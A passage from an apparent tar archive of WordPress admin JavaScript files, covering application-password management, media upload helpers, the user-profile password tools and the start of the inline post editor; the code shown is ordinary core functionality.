* @return {void} */ function fireOnce() { window.clearTimeout( timeout ); timeout = window.setTimeout( triggerEvent, 200 ); } $window.on( 'resize.wp-fire-once', fireOnce ); }()); // Make Windows 8 devices play along nicely. (function(){ if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) { var msViewportStyle = document.createElement( 'style' ); msViewportStyle.appendChild( document.createTextNode( '@-ms-viewport{width:auto!important}' ) ); document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle ); } })(); }( jQuery, window )); /** * Freeze animated plugin icons when reduced motion is enabled. * * When the user has enabled the 'prefers-reduced-motion' setting, this module * stops animations for all GIFs on the page with the class 'plugin-icon' or * plugin icon images in the update plugins table. * * @since 6.4.0 */ (function() { // Private variables and methods. var priv = {}, pub = {}, mediaQuery; // Initialize pauseAll to false; it will be set to true if reduced motion is preferred. priv.pauseAll = false; if ( window.matchMedia ) { mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' ); if ( ! mediaQuery || mediaQuery.matches ) { priv.pauseAll = true; } } // Method to replace animated GIFs with a static frame. priv.freezeAnimatedPluginIcons = function( img ) { var coverImage = function() { var width = img.width; var height = img.height; var canvas = document.createElement( 'canvas' ); // Set canvas dimensions. canvas.width = width; canvas.height = height; // Copy classes from the image to the canvas. canvas.className = img.className; // Check if the image is inside a specific table. var isInsideUpdateTable = img.closest( '#update-plugins-table' ); if ( isInsideUpdateTable ) { // Transfer computed styles from image to canvas. var computedStyles = window.getComputedStyle( img ), i, max; for ( i = 0, max = computedStyles.length; i < max; i++ ) { var propName = computedStyles[ i ]; var propValue = computedStyles.getPropertyValue( propName ); canvas.style[ propName ] = propValue; } } // Draw the image onto the canvas. canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height ); // Set accessibility attributes on canvas. canvas.setAttribute( 'aria-hidden', 'true' ); canvas.setAttribute( 'role', 'presentation' ); // Insert canvas before the image and set the image to be near-invisible. var parent = img.parentNode; parent.insertBefore( canvas, img ); img.style.opacity = 0.01; img.style.width = '0px'; img.style.height = '0px'; }; // If the image is already loaded, apply the coverImage function. if ( img.complete ) { coverImage(); } else { // Otherwise, wait for the image to load. img.addEventListener( 'load', coverImage, true ); } }; // Public method to freeze all relevant GIFs on the page. pub.freezeAll = function() { var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' ); for ( var x = 0; x < images.length; x++ ) { if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) { priv.freezeAnimatedPluginIcons( images[ x ] ); } } }; // Only run the freezeAll method if the user prefers reduced motion. if ( true === priv.pauseAll ) { pub.freezeAll(); } // Listen for jQuery AJAX events. ( function( $ ) { if ( window.pagenow === 'plugin-install' ) { // Only listen for ajaxComplete if this is the plugin-install.php page. $( document ).ajaxComplete( function( event, xhr, settings ) { // Check if this is the 'search-install-plugins' request. if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) { // Recheck if the user prefers reduced motion. if ( window.matchMedia ) { var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' ); if ( mediaQuery.matches ) { pub.freezeAll(); } } else { // Fallback for browsers that don't support matchMedia. if ( true === priv.pauseAll ) { pub.freezeAll(); } } } } ); } } )( jQuery ); // Expose public methods. return pub; })(); application-passwords.min.js 0000644 00000005720 15222552267 0012226 0 ustar 00 /*! This file is auto-generated */ !function(o){var a=o("#application-passwords-section"),i=a.find(".create-application-password"),t=i.find(".input"),n=i.find(".button"),p=a.find(".application-passwords-list-table-wrapper"),r=a.find("tbody"),d=r.find(".no-items"),e=o("#revoke-all-application-passwords"),l=wp.template("new-application-password"),c=wp.template("application-password-row"),u=o("#user_id").val();function w(e,s,a){f(a=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:a,"error")}function f(e,s){s=o("<div></div>").attr("role","alert").attr("tabindex","-1").addClass("is-dismissible notice notice-"+s).append(o("<p></p>").text(e)).append(o("<button></button>").attr("type","button").addClass("notice-dismiss").append(o("<span></span>").addClass("screen-reader-text").text(wp.i18n.__("Dismiss this notice."))));return i.after(s),s}function v(){o(".notice",a).remove()}n.on("click",function(e){var s;e.preventDefault(),n.prop("aria-disabled")||(0===(e=t.val()).length?t.trigger("focus"):(v(),n.prop("aria-disabled",!0).addClass("disabled"),s={name:e},s=wp.hooks.applyFilters("wp_application_passwords_new_password_request",s,u),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"POST",data:s}).always(function(){n.removeProp("aria-disabled").removeClass("disabled")}).done(function(e){t.val(""),n.prop("disabled",!1),i.after(l({name:e.name,password:e.password})),o(".new-application-password-notice").attr("tabindex","-1").trigger("focus"),r.prepend(c(e)),p.show(),d.remove(),wp.hooks.doAction("wp_application_passwords_created_password",e,s)}).fail(w)))}),r.on("click",".delete",function(e){var s,a;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke this password? This action cannot be undone."))&&(s=o(this),e=(a=s.closest("tr")).data("uuid"),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords/"+e+"?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(0===a.siblings().length&&p.hide(),a.remove(),f(wp.i18n.__("Application password revoked."),"success").trigger("focus"))}).fail(w))}),e.on("click",function(e){var s;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke all passwords? This action cannot be undone."))&&(s=o(this),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(r.children().remove(),a.children(".new-application-password").remove(),p.hide(),f(wp.i18n.__("All application passwords revoked."),"success").trigger("focus"))}).fail(w))}),a.on("click",".notice-dismiss",function(e){e.preventDefault();var s=o(this).parent();s.removeAttr("role"),s.fadeTo(100,0,function(){s.slideUp(100,function(){s.remove(),t.trigger("focus")})})}),t.on("keypress",function(e){13===e.which&&(e.preventDefault(),n.trigger("click"))}),0===r.children("tr").not(d).length&&p.hide()}(jQuery); media-upload.js 0000644 00000006611 15222552267 0007457 0 ustar 00 /** * Contains global functions for the media upload within the post edit screen. * * Updates the ThickBox anchor href and the ThickBox's own properties in order * to set the size and position on every resize event. Also adds a function to * send HTML or text to the currently active editor. * * @file * @since 2.5.0 * @output wp-admin/js/media-upload.js * * @requires jQuery */ /* global tinymce, QTags, wpActiveEditor, tb_position */ /** * Sends the HTML passed in the parameters to TinyMCE. * * @since 2.5.0 * * @global * * @param {string} html The HTML to be sent to the editor. * @return {void|boolean} Returns false when both TinyMCE and QTags instances * are unavailable. This means that the HTML was not * sent to the editor. */ window.send_to_editor = function( html ) { var editor, hasTinymce = typeof tinymce !== 'undefined', hasQuicktags = typeof QTags !== 'undefined'; // If no active editor is set, try to set it. if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } // If the editor is set and not hidden, // insert the HTML into the content of the editor. if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { // If quick tags are available, insert the HTML into its content. QTags.insertContent( html ); } else { // If neither the TinyMCE editor and the quick tags are available, // add the HTML to the current active editor. document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }; (function($) { /** * Recalculates and applies the new ThickBox position based on the current * window size. * * @since 2.6.0 * * @global * * @return {Object[]} Array containing jQuery objects for all the found * ThickBox anchors. */ window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 833 < width ) ? 833 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } /** * Recalculates the new height and width for all links with a ThickBox class. * * @since 2.6.0 */ return $('a.thickbox').each( function() { var href = $(this).attr('href'); if ( ! href ) return; href = href.replace(/&width=[0-9]+/g, ''); href = href.replace(/&height=[0-9]+/g, ''); $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) ); }); }; // Add handler to recalculates the ThickBox position when the window is resized. $(window).on( 'resize', function(){ tb_position(); }); })(jQuery); user-profile.min.js 0000644 00000017475 15222552267 0010326 0 ustar 00 /*! This file is auto-generated */ !function(r){var s,a,t,n,i,o,p,l,d,c,u,h,w,f=!1,v=!1,m=wp.i18n.__,e=new ClipboardJS(".application-password-display .copy-button"),g=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),b=navigator.userAgent.toLowerCase(),y="undefined"!==window.safari&&"object"==typeof window.safari,k=-1!==b.indexOf("firefox");function _(){"function"!=typeof zxcvbn?setTimeout(_,50):(!a.val()||h.hasClass("is-open")?(a.val(a.data("pw")),a.trigger("pwupdate")):T(),H(),x(),1!==parseInt(o.data("start-masked"),10)?a.attr("type","text"):o.trigger("click"),r("#pw-weak-text-label").text(m("Confirm use of weak password")),"mailserver_pass"===a.prop("id")||r("#weblog_title").length||r(a).trigger("focus"))}function C(e){o.attr({"aria-label":m(e?"Show password":"Hide password")}).find(".text").text(m(e?"Show":"Hide")).end().find(".dashicons").removeClass(e?"dashicons-hidden":"dashicons-visibility").addClass(e?"dashicons-visibility":"dashicons-hidden")}function x(){o||((o=s.find(".wp-hide-pw")).show().on("click",function(){"password"===a.attr("type")?(a.attr("type","text"),C(!1)):(a.attr("type","password"),C(!0))}),s.closest("form").on("submit",function(){"text"===a.attr("type")&&(a.attr("type","password"),C(!0))}))}function L(e,s,a){var t=r("<div />",{role:"alert"});t.addClass("notice inline"),t.addClass("notice-"+(s?"success":"error")),t.text(r(r.parseHTML(a)).text()).wrapInner("<p />"),e.prop("disabled",s),e.siblings(".notice").remove(),e.before(t)}function S(){var e;s=r(".user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit"),r(".user-pass2-wrap").hide(),l=r("#submit, #wp-submit").on("click",function(){f=!1}),p=l.add(" #createusersub"),n=r(".pw-weak"),(i=n.find(".pw-checkbox")).on("change",function(){p.prop("disabled",!i.prop("checked"))}),(a=r("#pass1, #mailserver_pass")).length?(d=a.val(),1===parseInt(a.data("reveal"),10)&&_(),a.on("input pwupdate",function(){a.val()!==d&&(d=a.val(),a.removeClass("short bad good strong"),H())}),j(a)):j(a=r("#user_pass")),t=r("#pass2").on("input",function(){0<t.val().length&&(a.val(t.val()),t.val(""),d="",a.trigger("pwupdate"))}),a.is(":hidden")&&(a.prop("disabled",!0),t.prop("disabled",!0)),h=s.find(".wp-pwd"),e=s.find("button.wp-generate-pw"),x(),e.show(),e.on("click",function(){f=!0,e.not(".skip-aria-expanded").attr("aria-expanded","true"),h.show().addClass("is-open"),a.attr("disabled",!1),t.attr("disabled",!1),_(),C(!1),wp.ajax.post("generate-password").done(function(e){a.data("pw",e)})}),s.find("button.wp-cancel-pw").on("click",function(){f=!1,a.prop("disabled",!0),t.prop("disabled",!0),a.val("").trigger("pwupdate"),C(!1),h.hide().removeClass("is-open"),p.prop("disabled",!1),e.attr("aria-expanded","false")}),s.closest("form").on("submit",function(){f=!1,a.prop("disabled",!1),t.prop("disabled",!1),t.val(a.val())})}function T(){var e=r("#pass1").val();if(r("#pass-strength-result").removeClass("short bad good strong empty"),e&&""!==e.trim())switch(wp.passwordStrength.meter(e,wp.passwordStrength.userInputDisallowedList(),e)){case-1:r("#pass-strength-result").addClass("bad").html(pwsL10n.unknown);break;case 2:r("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:r("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:r("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;case 5:r("#pass-strength-result").addClass("short").html(pwsL10n.mismatch);break;default:r("#pass-strength-result").addClass("short").html(pwsL10n.short)}else r("#pass-strength-result").addClass("empty").html(" ")}function j(e){var a,s,t,n=!1;g&&(y||k)||(a=r('<div id="caps-warning" class="caps-warning"></div>'),s=r('<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>'),t=r("<span>",{class:"caps-warning-text",text:m("Caps lock is on.")}),a.append(s,t),e.parent("div").append(a),e.on("keydown",function(e){var s,e=e.originalEvent;e.ctrlKey||e.metaKey||e.altKey||!e.key||1!==e.key.length||(s=e.getModifierState("CapsLock"))!==n&&((n=s)?(a.show(),"CapsLock"!==e.key&&wp.a11y.speak(m("Caps lock is on."),"assertive")):a.hide())}),e.on("blur",function(){document.hasFocus()&&(n=!1,a.hide())}))}function H(){var e=r("#pass-strength-result");e.length&&(e=e[0]).className&&(a.addClass(e.className),r(e).is(".short, .bad")?(i.prop("checked")||p.prop("disabled",!0),n.show()):(r(e).is(".empty")?(p.prop("disabled",!0),i.prop("checked",!1)):p.prop("disabled",!1),n.hide()))}e.on("success",function(e){var s=r(e.trigger),a=r(".success",s.closest(".application-password-display"));e.clearSelection(),clearTimeout(w),a.removeClass("hidden"),w=setTimeout(function(){a.addClass("hidden")},3e3),wp.a11y.speak(m("Application password has been copied to your clipboard."))}),r(function(){var e,a,t,n,i=r("#display_name"),s=i.val(),o=r("#wp-admin-bar-my-account").find(".display-name");r("#pass1").val("").on("input pwupdate",T),r("#pass-strength-result").show(),r(".color-palette").on("click",function(){r(this).siblings('input[name="admin_color"]').prop("checked",!0)}),i.length&&(r("#first_name, #last_name, #nickname").on("blur.user_profile",function(){var a=[],t={display_nickname:r("#nickname").val()||"",display_username:r("#user_login").val()||"",display_firstname:r("#first_name").val()||"",display_lastname:r("#last_name").val()||""};t.display_firstname&&t.display_lastname&&(t.display_firstlast=t.display_firstname+" "+t.display_lastname,t.display_lastfirst=t.display_lastname+" "+t.display_firstname),r.each(r("option",i),function(e,s){a.push(s.value)}),r.each(t,function(e,s){s&&(s=s.replace(/<\/?[a-z][^>]*>/gi,""),t[e].length)&&-1===r.inArray(s,a)&&(a.push(s),r("<option />",{text:s}).appendTo(i))})}),i.on("change",function(){var e;t===n&&(e=this.value.trim()||s,o.text(e))})),e=r("#color-picker"),a=r("#colors-css"),t=r("input#user_id").val(),n=r('input[name="checkuser_id"]').val(),e.on("click.colorpicker",".color-option",function(){var e,s=r(this);if(!s.hasClass("selected")&&(s.siblings(".selected").removeClass("selected"),s.addClass("selected").find('input[type="radio"]').prop("checked",!0),t===n)){if((a=0===a.length?r('<link rel="stylesheet" />').appendTo("head"):a).attr("href",s.children(".css_url").val()),"undefined"!=typeof wp&&wp.svgPainter){try{e=JSON.parse(s.children(".icon_colors").val())}catch(e){}e&&(wp.svgPainter.setColors(e),wp.svgPainter.paint())}r.post(ajaxurl,{action:"save-user-color-scheme",color_scheme:s.children('input[name="admin_color"]').val(),nonce:r("#color-nonce").val()}).done(function(e){e.success&&r("body").removeClass(e.data.previousScheme).addClass(e.data.currentScheme)})}}),S(),r("#generate-reset-link").on("click",function(){var s=r(this),e={user_id:userProfileL10n.user_id,nonce:userProfileL10n.nonce},e=(s.parent().find(".notice-error").remove(),wp.ajax.post("send-password-reset",e));e.done(function(e){L(s,!0,e)}),e.fail(function(e){L(s,!1,e)})}),p.on("click",function(){v=!0}),c=r("#your-profile, #createuser"),u=c.serialize()}),r("#destroy-sessions").on("click",function(e){var s=r(this);wp.ajax.post("destroy-sessions",{nonce:r("#_wpnonce").val(),user_id:r("#user_id").val()}).done(function(e){s.prop("disabled",!0),s.siblings(".notice").remove(),s.before('<div class="notice notice-success inline" role="alert"><p>'+e.message+"</p></div>")}).fail(function(e){s.siblings(".notice").remove(),s.before('<div class="notice notice-error inline" role="alert"><p>'+e.message+"</p></div>")}),e.preventDefault()}),window.generatePassword=_,r(window).on("beforeunload",function(){return!0===f?m("Your new password has not been saved."):u===c.serialize()||v?void 0:m("The changes you made will be lost if you navigate away from this page.")}),r(function(){r(".reset-pass-submit").length&&r(".reset-pass-submit button.wp-generate-pw").trigger("click")})}(jQuery); inline-edit-post.js 0000644 00000050315 15222552267 0010302 0 ustar 00 /** * This file contains the functions needed for the inline editing of posts. * * @since 2.7.0 * @output wp-admin/js/inline-edit-post.js */ /* global ajaxurl, typenow, inlineEditPost */ window.wp = window.wp || {}; /** * Manages the quick edit and bulk edit windows for editing posts or pages. * * @namespace inlineEditPost * * @since 2.7.0 * * @type {Object} * * @property {string} type The type of inline editor. * @property {string} what The prefix before the post ID. * */ ( function( $, wp ) { window.inlineEditPost = { /** * Initializes the inline and bulk post editor. * * Binds event handlers to the Escape key to close the inline editor * and to the save and close buttons. Changes DOM to be ready for inline * editing. Adds event handler to bulk edit. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {void} */ init : function(){ var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post'; // Post ID prefix. t.what = '#post-'; /** * Binds the Escape key to revert the changes and close the quick editor. * * @return {boolean} The result of revert. */ qeRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Binds the Escape key to revert the changes and close the bulk editor. * * @return {boolean} The result of revert. */ bulkRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Reverts changes and close the quick editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', qeRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Saves changes in the quick editor if the save(named: update) button is clicked. * * @return {boolean} The result of save. */ $( '.save', qeRow ).on( 'click', function() { return inlineEditPost.save(this); }); /** * If Enter is pressed, and the target is not the cancel button, save the post. * * @return {boolean} The result of save. */ $('td', qeRow).on( 'keydown', function(e){ if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) { return inlineEditPost.save(this); } }); /** * Reverts changes and close the bulk editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', bulkRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Disables the password input field when the private post checkbox is checked. */ $('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){ var pw = $('input.inline-edit-password-input'); if ( $(this).prop('checked') ) { pw.val('').prop('disabled', true); } else { pw.prop('disabled', false); } }); /** * Binds click event to the .editinline button which opens the quick editor. */ $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditPost.edit( this ); }); // Clone quick edit categories for the bulk editor. var beCategories = $( '#inline-edit fieldset.inline-edit-categories' ).clone(); // Make "id" attributes globally unique. beCategories.find( '*[id]' ).each( function() { this.id = 'bulk-edit-' + this.id; }); $('#bulk-edit').find('fieldset:first').after( beCategories ).siblings( 'fieldset:last' ).prepend( $( '#inline-edit .inline-edit-tags-wrap' ).clone() ); $('select[name="_status"] option[value="future"]', bulkRow).remove(); /** * Adds onclick events to the apply buttons. */ $('#doaction').on( 'click', function(e){ var n, $itemsSelected = $( '#posts-filter .check-column input[type="checkbox"]:checked' ); if ( $itemsSelected.length < 1 ) { return; } t.whichBulkButtonId = $( this ).attr( 'id' ); n = t.whichBulkButtonId.substr( 2 ); if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) { e.preventDefault(); t.setBulk(); } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) { t.revert(); } }); }, /** * Toggles the quick edit window, hiding it when it's active and showing it when * inactive. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} el Element within a post table row. */ toggle : function(el){ var t = this; $( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el ); }, /** * Creates the bulk editor row to edit multiple posts at once. * * @since 2.7.0 * * @memberof inlineEditPost */ setBulk : function(){ var te = '', type = this.type, c = true; var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' ); var categories = {}; this.revert(); $( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Insert the editor at the top of the table with an empty row above to maintain zebra striping. $('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>'); $('#bulk-edit').addClass('inline-editor').show(); /** * Create a HTML div with the title and a link(delete-icon) for each selected * post. * * Get the selected posts based on the checked checkboxes in the post table. */ $( 'tbody th.check-column input[type="checkbox"]' ).each( function() { // If the checkbox for a post is selected, add the post to the edit list. if ( $(this).prop('checked') ) { c = false; var id = $( this ).val(), theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ), buttonVisuallyHiddenText = wp.i18n.sprintf( /* translators: %s: Post title. */ wp.i18n.__( 'Remove “%s” from Bulk Edit' ), theTitle ); te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>'; } }); // If no checkboxes where checked, just hide the quick/bulk edit rows. if ( c ) { return this.revert(); } // Populate the list of items to bulk edit. $( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' ); // Gather up some statistics on which of these checked posts are in which categories. checkedPosts.each( function() { var id = $( this ).val(); var checked = $( '#category_' + id ).text().split( ',' ); checked.map( function( cid ) { categories[ cid ] || ( categories[ cid ] = 0 ); // Just record that this category is checked. categories[ cid ]++; } ); } ); // Compute initial states. $( '.inline-edit-categories input[name="post_category[]"]' ).each( function() { if ( categories[ $( this ).val() ] == checkedPosts.length ) { // If the number of checked categories matches the number of selected posts, then all posts are in this category. $( this ).prop( 'checked', true ); } else if ( categories[ $( this ).val() ] > 0 ) { // If the number is less than the number of selected posts, then it's indeterminate. $( this ).prop( 'indeterminate', true ); if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) { // Get the term label text. var label = $( this ).parent().text(); // Set indeterminate states for the backend. Add accessible text for indeterminate inputs. $( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) ); } } } ); $( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() { // Remove accessible label text. Remove the indeterminate flags as there was a specific state change. $( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove(); } ); $( '.inline-edit-save button' ).on( 'click', function() { $( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false ); } ); /** * Binds on click events to handle the list of items to bulk edit. * * @listens click */ $( '#bulk-titles .ntdelbutton' ).click( function() { var $this = $( this ), id = $this.attr( 'id' ).substr( 1 ), $prev = $this.parent().prev().children( '.ntdelbutton' ), $next = $this.parent().next().children( '.ntdelbutton' ); $( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false ); $( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false ); $( '#_' + id ).parent().remove(); wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' ); // Move focus to a proper place when items are removed. if ( $next.length ) { $next.focus(); } else if ( $prev.length ) { $prev.focus(); } else { $( '#bulk-titles-list' ).remove(); inlineEditPost.revert(); wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) ); } }); // Enable auto-complete for tags when editing posts. if ( 'post' === type ) { $( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) { /* * While Quick Edit clones the form each time, Bulk Edit always re-uses * the same form. Let's check if an autocomplete instance already exists. */ if ( $( element ).autocomplete( 'instance' ) ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( element ).wpTagsSuggest(); } ); } // Set initial focus on the Bulk Edit region. $( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus(); // Scrolls to the top of the table where the editor is rendered. $('html, body').animate( { scrollTop: 0 }, 'fast' ); }, /** * Creates a quick edit window for the post that has been clicked. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {number|Object} id The ID of the clicked post or an element within a post * table row. * @return {boolean} Always returns false at the end of execution. */ edit : function(id) { var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw; t.revert(); if ( typeof(id) === 'object' ) { id = t.getId(id); } fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template']; if ( t.type === 'page' ) { fields.push('post_parent'); } // Add the new edit row with an extra blank row underneath to maintain zebra striping. editRow = $('#inline-edit').clone(true); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Remove the ID from the copied row and let the `for` attribute reference the hidden ID. $( 'td', editRow ).find('#quick-edit-legend').removeAttr('id'); $( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id'); $(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>'); // Populate fields in the quick edit window. rowData = $('#inline_'+id); if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) { // The post author no longer has edit capabilities, so we need to add them to the list of authors. $(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>'); } if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) { $('label.inline-edit-author', editRow).hide(); } for ( f = 0; f < fields.length; f++ ) { val = $('.'+fields[f], rowData); /** * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text. * * @return {string} Alternate text from the image. */ val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="' + fields[f] + '"]', editRow).val( val ); } if ( $( '.comment_status', rowData ).text() === 'open' ) { $( 'input[name="comment_status"]', editRow ).prop( 'checked', true ); } if ( $( '.ping_status', rowData ).text() === 'open' ) { $( 'input[name="ping_status"]', editRow ).prop( 'checked', true ); } if ( $( '.sticky', rowData ).text() === 'sticky' ) { $( 'input[name="sticky"]', editRow ).prop( 'checked', true ); } /** * Creates the select boxes for the categories. */ $('.post_category', rowData).each(function(){ var taxname, term_ids = $(this).text(); if ( term_ids ) { taxname = $(this).attr('id').replace('_'+id, ''); $('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(',')); } }); /** * Gets all the taxonomies for live auto-fill suggestions when typing the name * of a tag. */ $('.tags_input', rowData).each(function(){ var terms = $(this), taxname = $(this).attr('id').replace('_' + id, ''), textarea = $('textarea.tax_input_' + taxname, editRow), comma = wp.i18n._x( ',', 'tag delimiter' ).trim(); // Ensure the textarea exists. if ( ! textarea.length ) { return; } terms.find( 'img' ).replaceWith( function() { return this.alt; } ); terms = terms.text(); if ( terms ) { if ( ',' !== comma ) { terms = terms.replace(/,/g, comma); } textarea.val(terms); } textarea.wpTagsSuggest(); }); // Handle the post status. var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val(); post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val(); var post_date = new Date( post_date_string ); status = $('._status', rowData).text(); if ( 'future' !== status && Date.now() > post_date ) { $('select[name="_status"] option[value="future"]', editRow).remove(); } else { $('select[name="_status"] option[value="publish"]', editRow).remove(); } pw = $( '.inline-edit-password-input' ).prop( 'disabled', false ); if ( 'private' === status ) { $('input[name="keep_private"]', editRow).prop('checked', true); pw.val( '' ).prop( 'disabled', true ); } // Remove the current page and children from the parent dropdown. pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow); if ( pageOpt.length > 0 ) { pageLevel = pageOpt[0].className.split('-')[1]; nextPage = pageOpt; while ( pageLoop ) { nextPage = nextPage.next('option'); if ( nextPage.length === 0 ) { break; } nextLevel = nextPage[0].className.split('-')[1]; if ( nextLevel <= pageLevel ) { pageLoop = false; } else { nextPage.remove(); nextPage = pageOpt; } } pageOpt.remove(); } $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).trigger( 'focus' ); return false; }, /** * Saves the changes made in the quick edit window to the post. * Ajax saving is only for Quick Edit and not for bulk edit. * * @since 2.7.0 * * @param {number} id The ID for the post that has been changed. * @return {boolean} False, so the form does not submit when pressing * Enter on a focused field. */ save : function(id) { var params, fields, page = $('.post_status_page').val() || ''; if ( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save', post_type: typenow, post_ID: id, edit_date: 'true', post_status: page }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Make Ajax request. $.post( ajaxurl, params, function(r) { var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove(); 